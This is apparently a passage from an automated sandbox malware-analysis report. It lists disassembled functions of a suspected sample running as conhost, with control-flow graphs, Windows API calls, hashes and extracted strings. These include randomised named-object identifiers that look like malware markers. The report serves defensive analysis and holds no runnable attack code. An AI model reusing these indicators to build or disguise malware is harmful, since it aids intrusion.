                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: AttributesFileQuery
                                                              • String ID:
                                                              • API String ID: 2106648053-0
                                                              • Opcode ID: 2826bf933b6c05314846991301916adf57e49d07940debb5eab16ace37e77d14
                                                              • Instruction ID: 35ac0efe93fe85c119e55826d4317f241f31154ff2ae5808118bfd6961f8b30b
                                                              • Opcode Fuzzy Hash: 2826bf933b6c05314846991301916adf57e49d07940debb5eab16ace37e77d14
                                                              • Instruction Fuzzy Hash: B5F09DB2608B408AEA12DB52F89579A77A0F38D7C0F00991ABBC843735DB38C190CB40

                                                              Non-executed Functions

                                                              Function 00000001400026E0 Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 376COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 311 1400026e0-14000273b call 140002660 315 140002741-14000274b 311->315 316 14000280e-14000285e call 14000155d 311->316 318 140002774-14000277a 315->318 321 140002953-14000297b call 1400014c7 316->321 322 140002864-140002873 316->322 318->316 320 140002780-140002787 318->320 323 140002789-140002792 320->323 324 140002750-140002752 320->324 338 140002986-1400029c8 call 140001503 call 140005a40 321->338 339 14000297d 321->339 325 140002eb7-140002ef4 call 140001370 322->325 326 140002879-140002888 322->326 329 140002794-1400027ab 323->329 330 1400027f8-1400027fb 323->330 327 14000275a-14000276e 324->327 331 1400028e4-14000294e wcsncmp call 1400014e5 326->331 332 14000288a-1400028dd 326->332 327->316 327->318 335 1400027f5 329->335 336 1400027ad-1400027c2 329->336 330->327 331->321 332->331 335->330 340 1400027d0-1400027d7 336->340 349 140002e49-140002e84 call 140001370 338->349 350 1400029ce-1400029d5 338->350 339->338 342 1400027d9-1400027f3 340->342 343 140002800-140002809 340->343 342->335 342->340 343->327 353 1400029d7-140002a0c 349->353 357 140002e8a 349->357 352 140002a13-140002a43 wcscpy wcscat wcslen 350->352 350->353 355 140002a45-140002a76 wcslen 352->355 356 140002a78-140002aa5 352->356 353->352 358 140002aa8-140002abf wcslen 355->358 356->358 357->352 359 140002ac5-140002ad8 358->359 360 140002e8f-140002eab call 140001370 358->360 362 140002af5-140002dfb wcslen call 1400014a9 * 2 call 1400014f4 call 1400014c7 * 2 call 14000145e * 3 359->362 363 140002ada-140002aee 359->363 360->325 381 140002dfd-140002e1b call 140001512 362->381 382 140002e20-140002e48 call 14000145e 362->382 363->362 381->382
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: wcslen$wcscatwcscpywcsncmp
                                                              • String ID: $?~2$0$X$\BaseNamedObjects\vcfamwbyewvuafhonjiwgres$`
                                                              • API String ID: 597572034-586219982
                                                              • Opcode ID: 72126cd8f746e96eef27a9b64ad7643edd874cc2859dd36d52036d581ef35f22
                                                              • Instruction ID: c80e7dc68e077ddf73508751634c0c3e464a13a30754e955b198f93c1aa3c615
                                                              • Opcode Fuzzy Hash: 72126cd8f746e96eef27a9b64ad7643edd874cc2859dd36d52036d581ef35f22
                                                              • Instruction Fuzzy Hash: 7E1258B2608BC085E762CB16F8443EAB7A4F789794F414215EBA957BF5EF78C189C700
                                                              Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                              • String ID:
                                                              • API String ID: 2643109117-0
                                                              • Opcode ID: 00ac1c66197ebc50227b88a6223cca9505f05baf94f6ca9dba6275d7e8e9b764
                                                              • Instruction ID: 853b5cb4b810d97d978816ea4420ec313e3627c3af1e5f4ec8bc55cd55e56463
                                                              • Opcode Fuzzy Hash: 00ac1c66197ebc50227b88a6223cca9505f05baf94f6ca9dba6275d7e8e9b764
                                                              • Instruction Fuzzy Hash: 2D5114B1611A4085FB16EF27F9947EA27A5BB8D7D0F849121FB4D873B6DE38C4958300
                                                              Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 427 140001ba0-140001bc0 428 140001bc2-140001bd7 427->428 429 140001c09 427->429 431 140001be9-140001bf1 428->431 430 140001c0c-140001c17 call 1400023b0 429->430 437 140001cf4-140001cfe call 140001d40 430->437 438 140001c1d-140001c6c call 1400024d0 VirtualQuery 430->438 433 140001bf3-140001c02 431->433 434 140001be0-140001be7 431->434 433->434 436 140001c04 433->436 434->430 434->431 439 140001cd7-140001cf3 memcpy 436->439 442 140001d03-140001d1e call 140001d40 437->442 438->442 445 140001c72-140001c79 438->445 446 140001d23-140001d38 GetLastError call 140001d40 442->446 447 140001c7b-140001c7e 445->447 448 140001c8e-140001c97 445->448 450 140001cd1 447->450 451 140001c80-140001c83 447->451 452 140001ca4-140001ccf VirtualProtect 448->452 453 140001c99-140001c9c 448->453 450->439 451->450 455 140001c85-140001c8a 451->455 452->446 452->450 453->450 456 140001c9e 453->456 455->450 457 140001c8c 455->457 456->452 457->456
                                                              APIs
                                                              • VirtualQuery.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
                                                              • VirtualProtect.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
                                                              • memcpy.MSVCRT ref: 0000000140001CE0
                                                              • GetLastError.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                              • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                              • API String ID: 2595394609-2123141913
                                                              • Opcode ID: d18d1f09fdfba77917c7540234edc89a1ae34ad00b66a5eb73fbe7bf19acb5c3
                                                              • Instruction ID: ec64a22a3afb06751a644bfa6223830d5787557f53419172101f724c34e2370a
                                                              • Opcode Fuzzy Hash: d18d1f09fdfba77917c7540234edc89a1ae34ad00b66a5eb73fbe7bf19acb5c3
                                                              • Instruction Fuzzy Hash: FB4143F1601A4586FA26DF47F884BE927A0E78DBC4F554126EF0E877B1DA38C586C700
                                                              Function 0000000140005A50 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 185COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 458 140005a50-140005a6c 459 140005a9b-140005abf call 140005a40 458->459 460 140005a6e 458->460 465 140005ce6-140005cf8 459->465 467 140005ac5-140005ad9 call 140005a40 459->467 461 140005a75-140005a7a 460->461 463 140005a80-140005a83 461->463 463->465 466 140005a89-140005a8f 463->466 466->463 468 140005a91-140005a96 466->468 471 140005aef-140005b01 467->471 468->465 472 140005ae3-140005aed 471->472 473 140005b03-140005b1d call 140005a40 471->473 472->471 475 140005b45-140005b48 472->475 478 140005b1f-140005b41 call 140005a40 * 2 473->478 479 140005ae0 473->479 475->465 477 140005b4e-140005b7a call 140005a40 malloc 475->477 484 140005cdc 477->484 485 140005b80-140005b82 477->485 478->472 491 140005b43 478->491 479->472 484->465 485->484 487 140005b88-140005bb8 call 140005a40 * 2 485->487 494 140005bc0-140005bd7 487->494 491->477 495 140005cb3-140005cbb 494->495 496 140005bdd-140005be3 494->496 499 140005cc6-140005cd4 495->499 500 140005cbd-140005cc0 495->500 497 140005c32 496->497 498 140005be5-140005c03 call 140005a40 496->498 503 140005c37-140005c79 call 140005a40 * 2 497->503 506 140005c10-140005c2e 498->506 499->461 502 140005cda 499->502 500->494 500->499 502->465 511 140005ca8-140005caf 503->511 512 140005c7b 503->512 506->506 508 140005c30 506->508 508->503 511->495 513 140005c80-140005c8c 512->513 514 140005ca3 513->514 515 140005c8e-140005ca1 513->515 514->511 515->513 515->514
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: malloc
                                                              • String ID: $?~2$\BaseNamedObjects\vzcwieybocbntyp$>~2$>~2$>~2
                                                              • API String ID: 2803490479-883367922
                                                              • Opcode ID: a67a07f909d7056a071ec0c8dc588007a3a8518c7b2e603c5ef2dbfc39f72397
                                                              • Instruction ID: 353c0c3c4a68bf108f1417b4a168c1432a9f5b9c16a830466685e86a0f1d5c90
                                                              • Opcode Fuzzy Hash: a67a07f909d7056a071ec0c8dc588007a3a8518c7b2e603c5ef2dbfc39f72397
                                                              • Instruction Fuzzy Hash: 2971ADB27106048BE766FF27A844BAB3691F38EBC9F455215FF0A4B3A1DB34D8408B51
                                                              Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 516 140002104-14000210b 517 140002111-140002128 EnterCriticalSection 516->517 518 140002218-140002221 516->518 519 14000220b-140002212 LeaveCriticalSection 517->519 520 14000212e-14000213c 517->520 521 140002272-140002280 518->521 522 140002223-14000222d 518->522 519->518 523 14000214d-140002159 TlsGetValue GetLastError 520->523 524 140002241-140002263 DeleteCriticalSection 522->524 525 14000222f 522->525 526 14000215b-14000215e 523->526 527 140002140-140002147 523->527 524->521 528 140002230-14000223f 525->528 526->527 529 140002160-14000216d 526->529 527->519 527->523 528->524 529->527
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
                                                              • String ID:
                                                              • API String ID: 926137887-0
                                                              • Opcode ID: 27e192ecc5d799857d1c8385dbaaf5a6f836238ff6c117ed4402dc7d43894369
                                                              • Instruction ID: 697f876828b5171767c564f6bb86c971c65e3a042cbe6cf173943f1c4610416a
                                                              • Opcode Fuzzy Hash: 27e192ecc5d799857d1c8385dbaaf5a6f836238ff6c117ed4402dc7d43894369
                                                              • Instruction Fuzzy Hash: D521E0B1715A0292FA5BEB53F9583E923A0B76CBD0F444021FB1E576B4DB7A8986C300
                                                              Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 532 140001e10-140001e2d 533 140001e3e-140001e48 532->533 534 140001e2f-140001e38 532->534 536 140001ea3-140001ea8 533->536 537 140001e4a-140001e53 533->537 534->533 535 140001f60-140001f69 534->535 536->535 540 140001eae-140001eb3 536->540 538 140001e55-140001e60 537->538 539 140001ecc-140001ed1 537->539 538->536 543 140001f23-140001f2d 539->543 544 140001ed3-140001ee2 signal 539->544 541 140001eb5-140001eba 540->541 542 140001efb-140001f0a call 140005ff0 540->542 541->535 548 140001ec0 541->548 542->543 553 140001f0c-140001f10 542->553 546 140001f43-140001f45 543->546 547 140001f2f-140001f3f 543->547 544->543 549 140001ee4-140001ee8 544->549 546->535 547->546 548->543 550 140001eea-140001ef9 signal 549->550 551 140001f4e-140001f53 549->551 550->535 554 140001f5a 551->554 555 140001f12-140001f21 signal 553->555 556 140001f55 553->556 554->535 555->535 556->554
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: CCG
                                                              • API String ID: 0-1584390748
                                                              • Opcode ID: 112abc6df4a3a955ea7a6242a2a3ec18b1e193b9e50968186ba58eaa7180ca05
                                                              • Instruction ID: 838ee2c544bf2803730cc930bbb0f4a86f91135578be0a2b6e08d954fec56f6a
                                                              • Opcode Fuzzy Hash: 112abc6df4a3a955ea7a6242a2a3ec18b1e193b9e50968186ba58eaa7180ca05
                                                              • Instruction Fuzzy Hash: A72159B1A0110642FA77DA1BB5943FA1182ABCD7E4F258535BF1A473F9DE3C88828241
                                                              Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 557 140001880-14000189c 558 1400018a2-1400018f9 call 140002420 call 140002660 557->558 559 140001a0f-140001a1f 557->559 558->559 564 1400018ff-140001910 558->564 565 140001912-14000191c 564->565 566 14000193e-140001941 564->566 567 14000194d-140001954 565->567 568 14000191e-140001929 565->568 566->567 569 140001943-140001947 566->569 572 140001956-140001961 567->572 573 14000199e-1400019a6 567->573 568->567 570 14000192b-14000193a 568->570 569->567 571 140001a20-140001a26 569->571 570->566 574 140001b87-140001b98 call 140001d40 571->574 575 140001a2c-140001a37 571->575 576 140001970-14000199c call 140001ba0 572->576 573->559 577 1400019a8-1400019c1 573->577 575->573 578 140001a3d-140001a5f 575->578 576->573 581 1400019df-1400019e7 577->581 584 140001a7d-140001a97 578->584 582 1400019e9-140001a0d VirtualProtect 581->582 583 1400019d0-1400019dd 581->583 582->583 583->559 583->581 587 140001b74-140001b82 call 140001d40 584->587 588 140001a9d-140001afa 584->588 587->574 594 140001b22-140001b26 588->594 595 140001afc-140001b0e 588->595 598 140001b2c-140001b30 594->598 599 140001a70-140001a77 594->599 596 140001b5c-140001b6c 595->596 597 140001b10-140001b20 595->597 596->587 601 140001b6f call 140001d40 596->601 597->594 597->596 598->599 600 140001b36-140001b57 call 140001ba0 598->600 599->573 599->584 600->596 601->587
                                                              APIs
                                                              • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: ProtectVirtual
                                                              • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                              • API String ID: 544645111-395989641
                                                              • Opcode ID: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
                                                              • Instruction ID: bed1886f8e7b3562c786f91e2c2504e2a336d35a61311b426e06807153cec951
                                                              • Opcode Fuzzy Hash: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
                                                              • Instruction Fuzzy Hash: 415114B6B11544DAEB12CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700
                                                              Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 605 140001800-140001810 606 140001812-140001822 605->606 607 140001824 605->607 608 14000182b-140001867 call 140002290 fprintf 606->608 607->608
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: fprintf
                                                              • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                              • API String ID: 383729395-3474627141
                                                              • Opcode ID: 577444ae89d5f5a6c95c3a2f675773f7031f896e683781332b98d4dce8e5709a
                                                              • Instruction ID: a02188ec0087b42d3f25a0ad686d1475033a3de64a4a15f6bec79cad075d9a0b
                                                              • Opcode Fuzzy Hash: 577444ae89d5f5a6c95c3a2f675773f7031f896e683781332b98d4dce8e5709a
                                                              • Instruction Fuzzy Hash: 1DF09671A14A4482E612EF6AB9417ED6360E75D7C1F50D211FF4D576A5DF3CD182C310
                                                              Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 611 14000219e-1400021a5 612 140002272-140002280 611->612 613 1400021ab-1400021c2 EnterCriticalSection 611->613 614 140002265-14000226c LeaveCriticalSection 613->614 615 1400021c8-1400021d6 613->615 614->612 616 1400021e9-1400021f5 TlsGetValue GetLastError 615->616 617 1400021f7-1400021fa 616->617 618 1400021e0-1400021e7 616->618 617->618 619 1400021fc-140002209 617->619 618->614 618->616 619->618
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000024.00000002.3777332500.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000024.00000002.3777300899.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777367601.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777398259.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                              • Associated: 00000024.00000002.3777427973.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                              • String ID:
                                                              • API String ID: 682475483-0
                                                              • Opcode ID: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
                                                              • Instruction ID: 8e08899b71d5d6c295770fc95a4fa8b22c720a8a39741bac27afb53efd3d8dea
                                                              • Opcode Fuzzy Hash: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
                                                              • Instruction Fuzzy Hash: C201B2B5705A0192FA5BDB53FE083E86360B76CBD1F454061EF0957AB4DF79C996C200